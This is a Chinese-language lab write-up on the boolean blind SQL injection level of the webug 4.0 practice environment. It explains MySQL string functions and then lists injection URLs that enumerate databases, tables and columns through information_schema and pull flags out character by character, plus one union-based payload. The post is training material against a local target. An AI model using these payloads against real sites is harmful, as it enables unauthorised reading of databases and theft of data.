webug4.0布爾注入-2


/*做這個到最后爆表的時候手工終於爆完了,然后發現爆錯表了真是暴風哭泣*/

  布爾注入是盲注之一,進行sql語句注入后,選擇的數據並不能返回到前端。只能利用其他方法來判斷,還是簡單介紹下學到的知識點。

1. left(database(),n)    database() 數據庫名稱   left()函數表示截取數據庫左側n個字符 

2. substr(a,b,c)      從字符串a的b位置開始截取c個字符,當b為負數時截取位置是從字符串a右端向左數b個字符

3. mid(a,b,c)        從字符串a的b位置開始截取c個字符,c為非必需若省略返回剩余文本

4. ord()與ascii()      這兩個函數都是將字符轉化成ascii值

5. limit i,n第一個參數:從i開始查 ; 第二個參數:查n條

6. 有時不報錯可能是因為前面語句沒錯誤,使得union后面語句沒執行

7. IFNULL(exp1,exp2) 如果exp1不為null,返回exp1否則返回exp2

8. cast(exp as data_type)as之前是待處理數據,后面是要轉換的類型。有時還有要求eg:CAST('12.5' AS decimal(10,2)) 10代表所有數字位數限制為10 ,2表示小數點后兩位  故結果為12.50  如果前面type換成int 則運行錯誤 。另精度和小數位數的默認值分別是18與0,decimal下 浮點數不說明的情況下會出來整數。

 

步入正題~看到網址加單引號

http://localhost/control/sqlinject/bool_injection.php?id=1'

發現頁面變了,然后我們就根據頁面的變化來判斷我們執行的語句是否正確。

然后構造' or 1=1%23

http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23

發現頁面又變正常了,注入點就在這了。接下來從1開始判斷字段個數

http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23

在3時頁面發生了變化,得出字段個數為2。然后利用left()函數判斷測試出當前數據庫名字,可以先判斷當前數據庫名字長度(可有可無,不過這樣心里有底)

http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23      

就是這樣一步一步測試看頁面是否發生變化,測試出長度為5

http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23

調整字符和大於號小於號來判斷數據庫第一個字符是什么,機智的你想到了二分法能較快定位出第一個字符,結果是’w‘。

那第二個字符怎么判斷出來呢?改一下數字?對 但后面得加一個測試字符

http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23

最后得出當前數據庫名字:webug          心思縝密的你說萬一flag不在當前數據庫呢,或者我想要其他的數據庫的名字呢?別着急,先爆這個當前數據庫里面的表

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23

這是在定位webug里第一個表第一個字符,那怎么判斷第二個字符呢?   就是修改為substr(***,2,1)

機智的你那么也就想到了判斷第二個表的方法 limit 1,1   

爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

到這里爆所有數據庫名字的方法也就清晰了

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23

 

/**************************************************************************************

我毫不猶豫選擇了爆flag這個表(大聲哭泣)

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23

flag表里面有id flag    那flag里面一定有我想要的(信心滿滿)

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23

我嘗試修改 limit 1,1報錯 id=2也報錯

憑借着力大出跡爆出來:dfafdasfafdsadfa

好熟悉的內容這不就是第一關的flag嗎?提交后顯示錯誤,后來我看了數據庫內容發現flag里就一條內容。。。 

也就說真正的flag在其他表里

**************************************************************************************/

在爆env_list表時

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1,1))>97%23

env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

/**********************此時我猜測所有事件flag都在里面,可以簡單測試下第一關的flag

http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select envFlag from env_list where id=1 limit 0,1),1,16)='dfafdasfafdsadfa'%23

然后頁面沒有變化,表示正確。果然所有flag都在這個表,那豈不是這可盲打出所有flag!!!等等第一關修改id就可以直接打出所有flag

http://localhost/control/sqlinject/manifest_error.php?id=-1'  union select 1,envflag from env_list where id=1 %23

flag不重要,重要的是過程能學到很多。

*****************************/

判斷測試第二關flag第一個字符

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23

最后得出flag:fdsafsdfa

 

下面一種方法與上類似,算是一個彩蛋

http://localhost/control/sqlinject/bool_injection.php?id=1' and ord(mid((select ifnull(cast(envFlag as char),2)from webug.env_list  order by id limit 1,1),1,1))>97%23

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM